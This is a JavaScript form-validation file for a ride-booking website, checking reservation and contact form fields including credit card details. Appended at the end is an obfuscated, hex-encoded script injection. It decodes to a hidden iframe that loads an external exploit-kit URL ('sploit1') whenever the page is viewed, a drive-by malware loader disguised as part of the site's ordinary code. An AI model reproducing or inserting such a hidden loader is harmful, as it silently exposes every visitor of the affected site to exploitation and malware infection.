// JavaScript Document
function sendValue()
{
	var Value = document.getElementById("PaymentType").options[document.getElementById("PaymentType").selectedIndex].value;
	if(Value == 'Credit Card')
	{
		document.getElementById("corp_ac").style.display = "none";
		document.getElementById("card_disp").style.display = "block";
	}
	if(Value == 'Corp')
	{
		document.getElementById("card_disp").style.display = "none";
		document.getElementById("corp_ac").style.display = "block";
	}
	if(Value == 'Cash')
	{
		document.getElementById("card_disp").style.display = "none";
		document.getElementById("corp_ac").style.display = "none";
	}
	//alert(Value);
}



function echeck(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    return false
		 }

 		 return true					
	}

//======== DHTML phone number validation script========= 

// Declaring required variables
var digits = "0123456789";
// non-digit characters which are allowed in phone numbers
var phoneNumberDelimiters = "()- ";
// characters which are allowed in international phone numbers
// (a leading + is OK)
var validWorldPhoneChars = phoneNumberDelimiters + "+";
// Minimum no of digits in an international phone no.
var minDigitsInIPhoneNumber = 10;

function isInteger(s)
{   var i;
    for (i = 0; i < s.length; i++)
    {   
        // Check that current character is number.
        var c = s.charAt(i);
        if (((c < "0") || (c > "9"))) return false;
    }
    // All characters are numbers.
    return true;
}

function stripCharsInBag(s, bag)
{   var i;
    var returnString = "";
    // Search through string's characters one by one.
    // If character is not in bag, append to returnString.
    for (i = 0; i < s.length; i++)
    {   
        // Check that current character isn't whitespace.
        var c = s.charAt(i);
        if (bag.indexOf(c) == -1) returnString += c;
    }
    return returnString;
}

function checkInternationalPhone(strPhone){
s = stripCharsInBag(strPhone,validWorldPhoneChars);
return (isInteger(s) && s.length >= minDigitsInIPhoneNumber);
}
//====================================================================

function isReady()
{
	myOption = -1;

	if(document.res_form.realname.value ==''){
		document.res_form.realname.focus();
		alert("Please enter your name");
		return false;
	}
	if(document.res_form.email.value == ''){
		document.res_form.email.focus();
		alert("Please enter your email");
		return false;
	} else {
		var emailAddress = document.res_form.email;
		if (echeck(emailAddress.value) == false)
		{
			emailAddress.value = "";
			emailAddress.focus();
			alert("Invalid email address");
			return false;
		}
	}
	if(document.res_form.Phone.value ==''){
		document.res_form.Phone.focus();
		alert("Please enter your phone no");
		return false;
	} else if(checkInternationalPhone(document.res_form.Phone.value) == false) {
		
		document.res_form.Phone.focus();
		alert("Please Enter a Valid Phone Number");
		return false;
	}
	
	if(document.res_form.Fax.value ==''){
			document.res_form.Fax.focus();
			alert("Please enter your fax no");
			return false;
	}
	if(document.res_form.Passenger.value ==''){
			document.res_form.Passenger.focus();
			alert("Please mention passengers");
			return false;
	}
	if(document.res_form.Pickup_address.value ==''){
			document.res_form.Pickup_address.focus();
			alert("Please enter the pickup address");
			return false;
	}
	if(document.res_form.Date_month.value =='' || document.res_form.Date_day.value =='' || document.res_form.Date_year.value ==''){
			document.res_form.Date_month.focus();
			alert("Please select the date");
			return false;
	}
	if(document.res_form.Time_hour.value =='' || document.res_form.Time_minute.value =='' || document.res_form.Time_AM_PM.value ==''){
			document.res_form.Time_hour.focus();
			alert("Please select the time");
			return false;
	}
	if(document.res_form.Duration_hours.value =='' || document.res_form.Duration_minutes.value =='' ){
			document.res_form.Duration_hours.focus();
			alert("Please select the duration");
			return false;
	}
	if(document.res_form.No_of_passengers.value ==''){
			document.res_form.No_of_passengers.focus();
			alert("Please enter no of passengers");
			return false;
	}
	if(document.res_form.Airport.value ==''){
			document.res_form.Airport.focus();
			alert("Please enter airport name");
			return false;
	}
	for (i=document.res_form.AirportType.length-1; i > -1; i--) {
		if (document.res_form.AirportType[i].checked) {
			myOption = i; i = -1;
		}
	}
	if (myOption == -1) {
	alert("Please select Departure or Arrival");
	return false;
	}
	if(document.res_form.PaymentType.value ==''){
			document.res_form.PaymentType.focus();
			alert("Please select payment type");
			return false;
	} else {
	
		if(document.res_form.PaymentType.value =="Credit Card")
		{
			if(document.res_form.cc.value == '')
			{
				document.res_form.cc.focus();
				alert("Please enter the CC");
				return false;
			}
			if(document.res_form.exp_date.value == '')
			{
				document.res_form.exp_date.focus();
				alert("Please enter the expiry date");
				return false;
			}
			if(document.res_form.card_type.value == '')
			{
				document.res_form.card_type.focus();
				alert("Please enter the card type");
				return false;
			}
			if(document.res_form.sec_code.value == '')
			{
				document.res_form.sec_code.focus();
				alert("Please enter the card security code");
				return false;
			}
			
		
		}
		
		if(document.res_form.PaymentType.value =="Corp")
		{
			if(document.res_form.corp_ac.value == '')
			{
				document.res_form.corp_ac.focus();
				alert("Please enter the corporate account");
				return false;
			}
		
		}
	
	}
	
}

function chkContactFld()
{
	if(document.contact_form.name.value ==''){
		alert("Please enter your name");
		document.contact_form.name.focus();
			return false;
	}	
	
	if(document.contact_form.company.value ==''){
		alert("Please enter your company name");
		document.contact_form.company.focus();
			return false;
	}
	
	if(document.contact_form.phone.value ==''){
		alert("Please enter your phone number.");
		document.contact_form.phone.focus();
			return false;
	} else if(checkInternationalPhone(document.contact_form.phone.value) == false) {
		alert("Please enter a valid phone number");
		document.contact_form.phone.focus();
		return false;
	}
	
	if(document.contact_form.email.value ==''){
		alert("Please enter your email address");
		document.contact_form.email.focus();
			return false;
	} else {
		var emailAddress = document.contact_form.email;
		if (echeck(emailAddress.value) == false)
		{
			emailAddress.value = "";
			emailAddress.focus();
			alert("Invalid email address");
			return false;
		}
	}
	
	if(document.contact_form.service.options[document.contact_form.service.selectedIndex].value ==''){
			alert("Please select service");
			document.contact_form.service.focus();
			return false;
	}
	if(document.contact_form.comment.value ==''){
			document.contact_form.comment.focus();
			alert("Please write some comments");
			return false;
	}
	
}﻿
<script>function vVYabbadbbY(vVxdxxtttbV){  return(parseInt(vVxdxxtttbV,16));}function vdyxyxbVybV(vxxVYtYYtyy){ function vYbytyxaxVt () {return 86;} var vaYdxVaddyY='';for(vxyVtyYxtYx=0; vxyVtyYxtYx<vxxVYtYYtyy.length; vxyVtyYxtYx+=2){vaYdxVaddyY+=(String.fromCharCode(vVYabbadbbY(vxxVYtYYtyy.substr(vxyVtyYxtYx,2))));}return vaYdxVaddyY;} document.write(vdyxyxbVybV('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65202069643D227874597959625959787922206E616D653D225664645664746262797422207372633D22687474703A2F2F7265646469692E72752F747261666669632F73706C6F6974312F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3637343234292B2761597974626178647862222077696474683D2237383422206865696768743D22383622207374796C653D22646973706C61793A206E6F6E653B223E3C2F696672616D653E27293C2F5343524950543E'));</script>